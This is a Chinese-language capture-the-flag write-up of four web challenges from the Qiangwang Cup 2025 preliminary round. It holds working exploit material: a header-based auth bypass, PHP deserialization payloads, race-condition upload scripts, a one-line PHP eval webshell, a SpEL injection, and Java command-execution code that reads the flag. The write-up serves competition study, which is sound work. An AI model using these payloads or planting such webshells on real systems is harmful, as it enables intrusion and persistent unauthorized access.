强网杯2025初赛

初赛 , 决赛还没整理

SecretVault

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form.get('username', '').strip()
password = request.form.get('password', '')
user = User.query.filter_by(username=username).first()
if not user or not verify_password(password, user.salt, user.password_hash):
flash('Invalid username or password.', 'danger')
return render_template('login.html')
r = requests.get(app.config['SIGN_SERVER'], params={'uid': user.id}, timeout=5)
if r.status_code != 200:
flash('Unable to reach the authentication server. Please try again later.', 'danger')
return render_template('login.html')

token = r.text.strip()
response = make_response(redirect(url_for('dashboard')))
response.set_cookie(
'token',
token,
httponly=True,
secure=app.config.get('SESSION_COOKIE_SECURE', False),
samesite='Lax',
max_age=12 * 3600,
)
return response
return render_template('login.html')

root:root

1
2
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJBdXRob3JpemVyIiwic3ViIjoiMSIsImV4cCI6MTc2MDc5MjAxNywibmJmIjoxNzYwNzg4NDE3LCJpYXQiOjE3NjA3ODg0MTcsInVpZCI6IjEifQ.8cEFV4et9siu4ipRp1PqKxb2d7GOWapFpRabSMl16aU

测试行为 结果 含义
/sign?uid=0 404 签名服务未对外开放
Cookie: token=foo 302 token 被验证,伪造无效
X-User: 0 302 不再被信任
1
2
3
4
5
curl -H "X-User: 0" -b "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJBdXRob3JpemVyIiwic3ViIjoiMSIsImV4cCI6MTc2MDc5MjAxNywibmJmIjoxNzYwNzg4NDE3LCJpYXQiOjE3NjA3ODg0MTcsInVpZCI6IjEifQ.8cEFV4et9siu4ipRp1PqKxb2d7GOWapFpRabSMl16aU" http://8.147.135.220:36925/dashboard

curl -H "X-User: 0" -b "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJBdXRob3JpemVyIiwic3ViIjoiMSIsImV4cCI6MTc2MDc5MjAxNywibmJmIjoxNzYwNzg4NDE3LCJpYXQiOjE3NjA3ODg0MTcsInVpZCI6IjEifQ.8cEFV4et9siu4ipRp1PqKxb2d7GOWapFpRabSMl16aU" \
http://8.147.135.220:36925/passwords/1

X-User: 0

Connection: keep-alive,X-User

ezphp

1
2
<?=eval(base64_decode('ZnVuY3Rpb24gZ2VuZXJhdGVSYW5kb21TdHJpbmcoJGxlbmd0aCA9IDgpeyRjaGFyYWN0ZXJzID0gJ2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6JzskcmFuZG9tU3RyaW5nID0gJyc7Zm9yICgkaSA9IDA7ICRpIDwgJGxlbmd0aDsgJGkrKykgeyRyID0gcmFuZCgwLCBzdHJsZW4oJGNoYXJhY3RlcnMpIC0gMSk7JHJhbmRvbVN0cmluZyAuPSAkY2hhcmFjdGVyc1skcl07fXJldHVybiAkcmFuZG9tU3RyaW5nO31kYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdBc2lhL1NoYW5naGFpJyk7Y2xhc3MgdGVzdHtwdWJsaWMgJHJlYWRmbGFnO3B1YmxpYyAkZjtwdWJsaWMgJGtleTtwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKXskdGhpcy0+cmVhZGZsYWcgPSBuZXcgY2xhc3Mge3B1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpe2lmIChpc3NldCgkX0ZJTEVTWydmaWxlJ10pICYmICRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSA9PSAwKSB7JHRpbWUgPSBkYXRlKCdIaScpOyRmaWxlbmFtZSA9ICRHTE9CQUxTWydmaWxlbmFtZSddOyRzZWVkID0gJHRpbWUgLiBpbnR2YWwoJGZpbGVuYW1lKTttdF9zcmFuZCgkc2VlZCk7JHVwbG9hZERpciA9ICd1cGxvYWRzLyc7JGZpbGVzID0gZ2xvYigkdXBsb2FkRGlyIC4gJyonKTtmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHtpZiAoaXNfZmlsZSgkZmlsZSkpIHVubGluaygkZmlsZSk7fSRyYW5kb21TdHIgPSBnZW5lcmF0ZVJhbmRvbVN0cmluZyg4KTskbmV3RmlsZW5hbWUgPSAkdGltZSAuICcuJyAuICRyYW5kb21TdHIgLiAnLicgLiAnanBnJzskR0xPQkFMU1snZmlsZSddID0gJG5ld0ZpbGVuYW1lOyR1cGxvYWRlZEZpbGUgPSAkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ107JHVwbG9hZFBhdGggPSAkdXBsb2FkRGlyIC4gJG5ld0ZpbGVuYW1lOyBpZiAoc3lzdGVtKCJjcCAiLiR1cGxvYWRlZEZpbGUuIiAiLiAkdXBsb2FkUGF0aCkpIHtlY2hvICJzdWNjZXNzIHVwbG9hZCEiO30gZWxzZSB7ZWNobyAiZXJyb3IiO319fXB1YmxpYyBmdW5jdGlvbiBfX3dha2V1cCgpe3BocGluZm8oKTt9cHVibGljIGZ1bmN0aW9uIHJlYWRmbGFnKCl7ZnVuY3Rpb24gcmVhZGZsYWcoKXtpZiAoaXNzZXQoJEdMT0JBTFNbJ2ZpbGUnXSkpIHskZmlsZSA9ICRHTE9CQUxTWydmaWxlJ107JGZpbGUgPSBiYXNlbmFtZSgkZmlsZSk7aWYgKHByZWdfbWF0Y2goJy86XC9cLy8nLCAkZmlsZSkpZGllKCJlcnJvciIpOyRmaWxlX2NvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygidXBsb2Fkcy8iIC4gJGZpbGUpO2lmIChwcmVnX21hdGNoKCcvPFw/fFw6XC9cL3xwaHxcP1w9L2knLCAkZmlsZV9jb250ZW50KSkge2RpZSgiSWxsZWdhbCBjb250ZW50IGRldGVjdGVkIGluIHRoZSBmaWxlLiIpO31pbmNsdWRlKCJ1cGxvYWRzLyIgLiAkZmlsZSk7fX19fTt9cHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXskZnVuYyA9ICR0aGlzLT5mOyRHTE9CQUxTWydmaWxlbmFtZSddID0gJHRoaXMtPnJlYWRmbGFnO2lmICgkdGhpcy0+a2V5ID09ICdjbGFzcycpbmV3ICRmdW5jKCk7ZWxzZSBpZiAoJHRoaXMtPmtleSA9PSAnZnVuYycpIHskZnVuYygpO30gZWxzZSB7aGlnaGxpZ2h0X2ZpbGUoJ2luZGV4LnBocCcpO319fSRzZXIgPSBpc3NldCgkX0dFVFsnbGFuZCddKSA/ICRfR0VUWydsYW5kJ10gOiAnTzo0OiJ0ZXN0IjpOJztAdW5zZXJpYWxpemUoJHNlcik7'));

format 一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
function generateRandomString($length = 8)
{
$characters = 'abcdefghijklmnopqrstuvwxyz';
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$r = rand(0,strlen($characters)-1);
$randomString .= $characters[$r];
}
return $randomString;
}
date_default_timezone_set('Asia/Shanghai');
class test
{
public $readflag;
public $f;
public $key;
public function __construct()
{
$this->readflag = new class {
public function __construct()
{
if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
$time = date('Hi');
$filename = $GLOBALS['filename'];
$seed = $time . intval($filename);
mt_srand($seed);
$uploadDir = 'uploads/';
$files = glob($uploadDir.'*');
foreach ($files as $file) {
if (is_file($file))
unlink($file); }
$randomStr = generateRandomString(8);
$newFilename = $time . '.' . $randomStr . '.' . 'jpg';
$GLOBALS['file'] = $newFilename;
$uploadedFile = $_FILES['file']['tmp_name'];
$uploadPath = $uploadDir . $newFilename;
if (system("cp ".$uploadedFile." ".$uploadPath)) {
echo "success upload!"; } else {
echo "error"; } } }
public function __wakeup()
{
phpinfo(); }
public function readflag()
{
function readflag()
{
if (isset($GLOBALS['file'])) {
$file = $GLOBALS['file'];
$file = basename($file);
if (preg_match('/:\/\//',$file))
die("error");
$file_content = file_get_contents("uploads/".$file);
if (preg_match('/<\?|\:\/\/|ph|\?\=/i',$file_content)) {
die("Illegal content detected in the file."); }
include("uploads/" . $file); } } }
};
}
public function __destruct()
{
$func = $this->f;
$GLOBALS['filename'] = $this->readflag;
if ($this->key == 'class')
new $func();
else if ($this->key == 'func') {
$func();
} else {
highlight_file('index.php');
}
}
}
$ser = isset($_GET['land']) ? $_GET['land'] : 'O:4:"test":N';
@unserialize($ser);
?>

看 phpinfo

1
2
?land=O%3A4%3A"test"%3A3%3A%7Bs%3A8%3A"readflag"%3BN%3Bs%3A1%3A"f"%3Bs%3A7%3A"phpinfo"%3Bs%3A3%3A"key"%3Bs%3A4%3A"func"%3B%7D

Version 7.4.33

后面是打文件上传吗

是吧,都 include 了

考虑条件竞争把黑名单校验 bypass 掉

readflag

解决 readflag 的调用问题:

ref: https://www.leavesongs.com/PENETRATION/php-challenge-2023-oct.html

不 eval 的时候能调到 readflag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

class test
{
public $readflag;
public $f;
public $key;
}

$ser = new test();
$ser->readflag = "";
$ser->key = "func";
$ser->f = "\x00readflag/var/www/html/index.php:46$0";

echo urlencode(serialize($ser));

O%3A4%3A%22test%22%3A3%3A%7Bs%3A8%3A%22readflag%22%3Bs%3A0%3A%22%22%3Bs%3A1%3A%22f%22%3Bs%3A37%3A%22%00readflag%2Fvar%2Fwww%2Fhtml%2Findex.php%3A46%240%22%3B

eval 的时候改下 path

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

class test
{
public $readflag;
public $f;
public $key;
}

$ser = new test();
$ser->readflag = "";
$ser->key = "func";
$ser->f = "\x00readflag/var/www/html/index.php(1) : eval()'d code:1$0";

echo urlencode(serialize($ser));

O%3A4%3A%22test%22%3A3%3A%7Bs%3A8%3A%22readflag%22%3Bs%3A0%3A%22%22%3Bs%3A1%3A%22f%22%3Bs%3A55%3A%22%00readflag%2Fvar%2Fwww%2Fhtml%2Findex.php%281%29+%3A+eval%28%29%27d+code%3A1%240%22%3Bs%3A3%3A%22key%22%3Bs%3A4%3A%22func%22%3B%7D

得打刚出生的容器,中间不能有干扰

我本地也传不了,但是远程可以

啊?? 你交了吧直接 我看晕了(

我在想怎么同时 readflag 和 写 globals[‘file’]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import time

TARGET_URL="https://eci-2zegaebqg55pwonhb2pl.cloudeci1.ichunqiu.com:80"

for i in range(20):
readflag_payload = 'O:4:"test":3:{s:8:"readflag";s:0:"";s:1:"f";s:' + str(len(hex(i)[2:])+54) + ':"\x00readflag/var/www/html/index.php(1) : eval()\'d code:1$' + hex(i)[2:] + '";s:3:"key";s:4:"func";}'

from urllib.parse import quote_plus
encoded_payload = quote_plus(readflag_payload)
# print(encoded_payload)

url = f"{TARGET_URL}?land={encoded_payload}"
response = requests.get(url, timeout=5)
# print(response.text)
print(response.status_code, len(response.text))
print(response.text[:100])
if "undefined function" not in response.text:
print(response.text)

Race condition

时间逻辑:

  1. readflag() 函数执行校验
  2. 上传恶意文件
  3. readflag() 执行 **include**("uploads/" . $file);

单线程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests

def upload_file(url, file_path):
"""
上传文件到目标URL

Args:
url (str): 目标URL
file_path (str): 要上传的本地文件路径
"""
try:
# 以二进制模式打开文件
with open(file_path, 'rb') as f:
files = {'file': (file_path, f, 'application/octet-stream')}

# 发送POST请求上传文件
response = requests.post(url, files=files)

# 输出响应结果
print(f"状态码: {response.status_code}")
print(f"响应内容: {response.text}")

except FileNotFoundError:
print(f"错误: 文件 '{file_path}' 未找到")
except Exception as e:
print(f"上传过程中发生错误: {str(e)}")

if __name__ == "__main__":
# 配置参数
payload = 'O%3A4%3A%22test%22%3A3%3A%7Bs%3A8%3A%22readflag%22%3Bs%3A5%3A%22dummy%22%3Bs%3A1%3A%22f%22%3BO%3A4%3A%22test%22%3A3%3A%7Bs%3A8%3A%22readflag%22%3Bs%3A0%3A%22%22%3Bs%3A1%3A%22f%22%3Bs%3A55%3A%22%00readflag%2Fvar%2Fwww%2Fhtml%2Findex.php%281%29+%3A+eval%28%29%27d+code%3A1%241%22%3Bs%3A3%3A%22key%22%3Bs%3A4%3A%22func%22%3B%7Ds%3A3%3A%22key%22%3Bs%3A5%3A%22class%22%3B%7D'
target_url = "https://eci-2zeanvowileucacbyzf0.cloudeci1.ichunqiu.com:80/?land=" + payload
file_to_upload = "test.jpg" # 替换为要上传的文件路径

# 执行上传
upload_file(target_url, file_to_upload)

跑之前重新下发一下容器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import threading
import requests
from urllib.parseimport quote_plus
from pathlibimport Path

# 全局计数器与锁
counter =0
counter_lock = threading.Lock()

defbuild_payload(n:int) ->str:
"""
根据计数 n 构造你要放在 ?land= 的字符串。
这里给出一个占位示例:请替换为你自己在授权环境中的合法构造逻辑。
"""
return'O:4:"test":3:{s:8:"readflag";s:5:"dummy";s:1:"f";O:4:"test":3:{s:8:"readflag";s:0:"";s:1:"f";s:' +str(len(hex(n)[2:])+54) +':"\x00readflag/var/www/html/index.php(1) : eval()\'d code:1$' +hex(n)[2:] +'";s:3:"key";s:4:"func";}s:3:"key";s:5:"class";}'

defsend_request(session: requests.Session, url:str, file_path:str |None, timeout:int =10) ->tuple[int,str]:
"""
实际发请求(POST 带文件)。你可改成 GET 或自定义 headers/data 等。
返回 (状态码, 文本片段) 便于打印。
"""
files =None
try:
if file_path:
fp =open(file_path,"rb")
files = {'file': (Path(file_path).name, fp,'application/octet-stream')}
resp = session.post(url, files=files, timeout=timeout)
print(resp.text)
if"hajimihajimihajihajimi"in resp.text:
print("omajilimanbo")
withopen("hajiminanbeilvduo.txt","w+")as f:
f.write(resp.text)
return resp.status_code, (resp.text[:200]if resp.textelse"")
finally:
if filesandhasattr(files['file'][1],'close'):
files['file'][1].close()

defworker(name:str, base_url:str, total:int, file_path:str |None =None):
"""
工作线程:每次从全局 counter 取号并 +1,然后构造 URL 并发送。
"""
global counter
session = requests.Session()# 每线程一个 Session,减少资源竞争

whileTrue:
# 取号 + 递增(原子操作)
with counter_lock:
if counter >= total:
break
n = counter
counter +=1

# 构造带 land 参数的 URL(示例:?land=<payload>)
land = build_payload(n)
url =f"{base_url.rstrip('/')}?land={quote_plus(land)}"

try:
status, body_snippet = send_request(session, url, file_path)
print(f"[{name}] sent #{n} ->{status} |{url}")
except Exceptionas e:
print(f"[{name}] error on #{n}:{e}")

defmain():
# ===== 在授权环境中修改这些参数 =====
BASE_URL ="https://eci-2zee2enr78t14iuhvt4c.cloudeci1.ichunqiu.com:80/"# 你的目标基地址(不含 ?land= 部分)
FILE_PATH ="test.jpg"# 如不需要上传文件可设为 None
TOTAL_REQUESTS =1000# 总发送次数
# =================================

t1 = threading.Thread(target=worker, args=("T1", BASE_URL, TOTAL_REQUESTS, FILE_PATH), daemon=True)
t2 = threading.Thread(target=worker, args=("T2", BASE_URL, TOTAL_REQUESTS, FILE_PATH), daemon=True)

t1.start()
t2.start()
t1.join()
t2.join()

print(f"完成,总计发送:{counter}")

if __name__ =="__main__":
main()

1
2
3
4
5
# test.jpg
<?php
echo "hajimihajimihajihajimi";
?>

上 webshell

1
2
3
4
5
6
7
8
9
10
<?php
echo "hajimihajimihajihajimi\n";
$dir = '/var/www/html';
$file = $dir . '/a.php';

echo $dir . "\n";

// 写入(覆盖)
file_put_contents($file, "<?php @eval(\$_POST['a']);?>");

提权

bbjv

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
@RestController
public class GatewayController {
private final EvaluationService evaluationService;

public GatewayController(EvaluationService evaluationService) {
this.evaluationService = evaluationService;
}

@GetMapping({"/check"})
public String checkRule(@RequestParam String rule) throws FileNotFoundException {
String result = this.evaluationService.evaluate(rule);
File flagFile = new File(System.getProperty("user.home"), "flag.txt");
if (flagFile.exists())
try {
BufferedReader br = new BufferedReader(new FileReader(flagFile));
try {
String content = br.readLine();
result = result + "<br><b>Flag:</b> " + result;
br.close();
} catch (Throwable throwable) {
try {
br.close();
} catch (Throwable throwable1) {
throwable.addSuppressed(throwable1);
}
throw throwable;
}
} catch (IOException e) {
throw new RuntimeException(e);
}
return result;
}
}

1
2
3
public String checkRule(@RequestParam String rule) throws FileNotFoundException {
String result = this.evaluationService.evaluate(rule);

rule @RequestParam String

被传入 evaluationService.evaluate(rule),而该方法未对 SpEL 表达式做过滤或沙箱限制

在 dockerfile中 COPY flag.txt /tmp/flag.txt

所以需要把 File flagFile = new File(System.getProperty(“user.home”), “flag.txt”); 改为 /tmp路径

SpelExpressionParser解析rule后使用 SimpleEvaluationContext 访问预定义的表达式变量, 最后修改系统属性

1
2
#{#systemProperties['user.home']='/tmp'}

Yamcs

Yamcs version5.12.0

myproject > Algorithms >/myproject/copySunsensor 下可以ProcessBuilder执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
try {
java.lang.ProcessBuilder choco = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", "cat /flag"});
choco.redirectErrorStream(true);
java.lang.Process p = choco.start();

java.io.InputStream inputStream = p.getInputStream();
java.io.Reader streamReader = new java.io.InputStreamReader(inputStream, java.nio.charset.StandardCharsets.UTF_8);
java.io.BufferedReader reader = new java.io.BufferedReader(streamReader);

java.lang.StringBuilder sb = new java.lang.StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
sb.append(line).append('\n');
}
reader.close();

int exitCode = p.waitFor();
sb.append("EXIT_CODE=").append(exitCode);
out0.setStringValue(sb.toString());
} catch (java.io.IOException e) {
out0.setStringValue("IOException: " + e.getMessage());
} catch (java.lang.InterruptedException e) {
out0.setStringValue("Interrupted: " + e.getMessage());
}